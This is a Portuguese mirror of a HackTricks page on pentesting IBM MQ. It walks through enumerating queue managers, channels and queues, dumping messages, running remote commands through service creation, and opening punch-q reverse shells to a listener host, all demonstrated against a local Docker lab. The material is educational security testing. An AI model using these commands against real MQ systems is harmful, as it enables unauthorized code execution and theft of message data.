mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
343 lines
19 KiB
Markdown
343 lines
19 KiB
Markdown
# 1414 - Pentesting IBM MQ
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## Informações básicas
|
||
|
||
O IBM MQ é uma tecnologia da IBM para gerenciar filas de mensagens. Como outras tecnologias de **corretor de mensagens**, ele é dedicado a receber, armazenar, processar e classificar informações entre produtores e consumidores.
|
||
|
||
Por padrão, **ele expõe a porta TCP 1414 do IBM MQ**.
|
||
Às vezes, a API REST HTTP pode ser exposta na porta **9443**.
|
||
As métricas (Prometheus) também podem ser acessadas pela porta TCP **9157**.
|
||
|
||
A porta TCP 1414 do IBM MQ pode ser usada para manipular mensagens, filas, canais, ... mas **também para controlar a instância**.
|
||
|
||
A IBM fornece uma ampla documentação técnica disponível em [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||
|
||
## Ferramentas
|
||
|
||
Uma ferramenta sugerida para exploração fácil é o **[punch-q](https://github.com/sensepost/punch-q)**, com uso do Docker. A ferramenta está ativamente usando a biblioteca Python `pymqi`.
|
||
|
||
Para uma abordagem mais manual, use a biblioteca Python **[pymqi](https://github.com/dsuch/pymqi)**. São necessárias as [dependências do IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc).
|
||
|
||
### Instalando pymqi
|
||
|
||
As **dependências do IBM MQ** precisam ser instaladas e carregadas:
|
||
|
||
1. Crie uma conta (IBMid) em [https://login.ibm.com/](https://login.ibm.com/).
|
||
2. Baixe as bibliotecas do IBM MQ em [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Para Linux x86_64, é o **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||
3. Descompacte (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||
4. Execute `sudo ./mqlicense.sh` para aceitar os termos das licenças.
|
||
|
||
>Se você estiver usando o Kali Linux, modifique o arquivo `mqlicense.sh`: remova/comente as seguintes linhas (entre as linhas 105-110):
|
||
>
|
||
>```bash
|
||
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||
> then
|
||
> echo "ERROR: This package is incompatible with this system"
|
||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||
> exit 1
|
||
>fi
|
||
>```
|
||
|
||
5. Instale esses pacotes:
|
||
```bash
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||
```
|
||
6. Em seguida, adicione temporariamente os arquivos `.so` ao LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **antes** de executar outras ferramentas que utilizem essas dependências.
|
||
|
||
Em seguida, você pode clonar o projeto [**pymqi**](https://github.com/dsuch/pymqi): ele contém trechos de código interessantes, constantes, ... Ou você pode instalar a biblioteca diretamente com: `pip install pymqi`.
|
||
|
||
### Usando punch-q
|
||
|
||
#### Com Docker
|
||
|
||
Basta usar: `sudo docker run --rm -ti leonjza/punch-q`.
|
||
|
||
#### Sem Docker
|
||
|
||
Clone o projeto [**punch-q**](https://github.com/sensepost/punch-q) e siga as instruções de instalação no arquivo readme (`pip install -r requirements.txt && python3 setup.py install`).
|
||
|
||
Depois, pode ser usado com o comando `punch-q`.
|
||
|
||
## Enumeração
|
||
|
||
Você pode tentar enumerar o **nome do gerenciador de filas, os usuários, os canais e as filas** com o **punch-q** ou **pymqi**.
|
||
|
||
### Gerenciador de Filas
|
||
|
||
Às vezes, não há proteção contra a obtenção do nome do Gerenciador de Filas:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||
Queue Manager name: MYQUEUEMGR
|
||
```
|
||
### Canais
|
||
|
||
**punch-q** está usando uma lista de palavras interna (modificável) para encontrar canais existentes. Exemplo de uso:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||
```
|
||
Acontece que algumas instâncias do IBM MQ aceitam solicitações MQ **não autenticadas**, portanto, `--username / --password` não é necessário. É claro que os direitos de acesso também podem variar.
|
||
|
||
Assim que obtivermos um nome de canal (aqui: `DEV.ADMIN.SVRCONN`), podemos enumerar todos os outros canais.
|
||
|
||
A enumeração pode ser feita basicamente com este trecho de código `code/examples/dis_channels.py` do **pymqi**:
|
||
```python
|
||
import logging
|
||
import pymqi
|
||
|
||
logging.basicConfig(level=logging.INFO)
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
prefix = '*'
|
||
|
||
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
|
||
except pymqi.MQMIError as e:
|
||
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
|
||
logging.info('No channels matched prefix `%s`' % prefix)
|
||
else:
|
||
raise
|
||
else:
|
||
for channel_info in response:
|
||
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
|
||
logging.info('Found channel `%s`' % channel_name)
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
... Mas **punch-q** também incorpora essa parte (com mais informações!).
|
||
Pode ser lançado com:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||
Showing channels with prefix: "*"...
|
||
|
||
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|
||
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
|
||
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
|
||
| DEV.APP.SVRCONN | Server-connection | app | | | | |
|
||
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
|
||
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
|
||
| SYSTEM.DEF.AMQP | AMQP | | | | | |
|
||
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
|
||
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
|
||
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
|
||
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
|
||
| SYSTEM.DEF.SENDER | Sender | | | | | |
|
||
| SYSTEM.DEF.SERVER | Server | | | | | |
|
||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||
```
|
||
### Filas
|
||
|
||
Há um trecho de código com **pymqi** (`dis_queues.py`), mas o **punch-q** permite recuperar mais informações sobre as filas:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||
Showing queues with prefix: "*"...
|
||
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
|
||
| | | | | | GR Name | eue Nam | |
|
||
| | | | | | | e | |
|
||
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
|
||
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | E | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
# Truncated
|
||
```
|
||
## Explorar
|
||
|
||
### Extrair mensagens
|
||
|
||
Você pode direcionar fila(s)/canal(is) para capturar/extrair mensagens deles (operação não destrutiva). *Exemplos:*
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||
```
|
||
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||
```
|
||
**Não hesite em iterar em todas as filas identificadas.**
|
||
|
||
### Execução de código
|
||
|
||
> Alguns detalhes antes de continuar: o IBM MQ pode ser controlado de várias maneiras: MQSC, PCF, Comando de Controle. Algumas listas gerais podem ser encontradas na [documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Formatos de Comando Programáveis***) é o que estamos focados em interagir remotamente com a instância. **punch-q** e, além disso, **pymqi** são baseados em interações PCF.
|
||
>
|
||
> Você pode encontrar uma lista de comandos PCF:
|
||
> * [Da documentação PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), e
|
||
> * [de constantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||
>
|
||
> Um comando interessante é `MQCMD_CREATE_SERVICE` e sua documentação está disponível [aqui](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Ele recebe como argumento um `StartCommand` apontando para um programa local na instância (exemplo: `/bin/sh`).
|
||
>
|
||
> Também há um aviso sobre o comando na documentação: *"Atenção: Este comando permite que um usuário execute um comando arbitrário com autoridade mqm. Se forem concedidos direitos para usar este comando, um usuário malicioso ou descuidado poderá definir um serviço que danifique seus sistemas ou dados, por exemplo, excluindo arquivos essenciais."*
|
||
>
|
||
> *Observação: sempre de acordo com a documentação do IBM MQ (Referência de Administração), também há um ponto de extremidade HTTP em `/admin/action/qmgr/{qmgrName}/mqsc` para executar o comando MQSC equivalente à criação de serviço (`DEFINE SERVICE`). Este aspecto ainda não está coberto aqui.*
|
||
|
||
A criação / exclusão de serviço com PCF para execução remota de programa pode ser feita pelo **punch-q**:
|
||
|
||
**Exemplo 1**
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||
```
|
||
> Nos logs do IBM MQ, você pode ler que o comando foi executado com sucesso:
|
||
>
|
||
> ```bash
|
||
> 2023-10-10T19:13:01.713Z AMQ5030I: O comando '808544aa7fc94c48' foi iniciado. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||
> ```
|
||
|
||
Você também pode enumerar os programas existentes na máquina (aqui `/bin/doesnotexist` ... não existe):
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||
s "whatever"
|
||
Command: /bin/doesnotexist
|
||
Arguments: -c id
|
||
Service Name: 6e3ef5af652b4436
|
||
|
||
Creating service...
|
||
Starting service...
|
||
The program '/bin/doesnotexist' is not available on the remote system.
|
||
Giving the service 0 second(s) to live...
|
||
Cleaning up service...
|
||
Done
|
||
```
|
||
**Esteja ciente de que o lançamento do programa é assíncrono. Portanto, você precisa de um segundo item para aproveitar a exploração** ***(ouvinte para shell reverso, criação de arquivo em serviço diferente, exfiltração de dados por meio de rede...)***
|
||
|
||
**Exemplo 2**
|
||
|
||
Para um shell reverso fácil, o **punch-q** também propõe dois payloads de shell reverso:
|
||
|
||
* Um com bash
|
||
* Um com perl
|
||
|
||
*Claro, você pode construir um personalizado com o comando `execute`.*
|
||
|
||
Para bash:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
Para perl:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
### PCF Personalizado
|
||
|
||
Você pode consultar a documentação do IBM MQ e usar diretamente a biblioteca python **pymqi** para testar um comando PCF específico que não está implementado no **punch-q**.
|
||
|
||
**Exemplo:**
|
||
```python
|
||
import pymqi
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
# Replace here with your custom PCF args and command
|
||
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
|
||
args = {pymqi.CMQCFC.xxxxx: "value"}
|
||
response = pcf.MQCMD_CUSTOM_COMMAND(args)
|
||
except pymqi.MQMIError as e:
|
||
print("Error")
|
||
else:
|
||
# Process response
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
Se você não conseguir encontrar os nomes das constantes, você pode consultar a [documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||
|
||
> *Exemplo para [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). Ele precisa do parâmetro `MQCA_CLUSTER_NAME` (Decimal = 2029) que pode ser `*` (Doc: ):*
|
||
>
|
||
> ```python
|
||
> import pymqi
|
||
>
|
||
> queue_manager = 'MYQUEUEMGR'
|
||
> channel = 'DEV.ADMIN.SVRCONN'
|
||
> host = '172.17.0.2'
|
||
> port = '1414'
|
||
> conn_info = '%s(%s)' % (host, port)
|
||
> user = 'admin'
|
||
> password = 'passw0rd'
|
||
>
|
||
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
> pcf = pymqi.PCFExecute(qmgr)
|
||
>
|
||
> try:
|
||
> args = {2029: "*"}
|
||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||
> except pymqi.MQMIError as e:
|
||
> print("Erro")
|
||
> else:
|
||
> print(response)
|
||
>
|
||
> qmgr.disconnect()
|
||
> ```
|
||
|
||
## Ambiente de teste
|
||
|
||
Se você deseja testar o comportamento e exploits do IBM MQ, você pode configurar um ambiente local com base no Docker:
|
||
|
||
1. Ter uma conta no ibm.com e cloud.ibm.com.
|
||
2. Criar um IBM MQ em container com:
|
||
```bash
|
||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
```
|
||
Por padrão, a autenticação está habilitada, o nome de usuário é `admin` e a senha é `passw0rd` (Variável de ambiente `MQ_ADMIN_PASSWORD`).
|
||
Aqui, o nome do gerenciador de filas foi definido como `MYQUEUEMGR` (variável `MQ_QMGR_NAME`).
|
||
|
||
Você deve ter o IBM MQ em execução e com suas portas expostas:
|
||
```bash
|
||
❯ sudo docker ps
|
||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||
```
|
||
> A versão antiga das imagens do IBM MQ Docker está em: https://hub.docker.com/r/ibmcom/mq/.
|
||
|
||
## Referências
|
||
|
||
* [Gist do mgeeky - "Notas práticas de teste de penetração do IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||
* [Documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|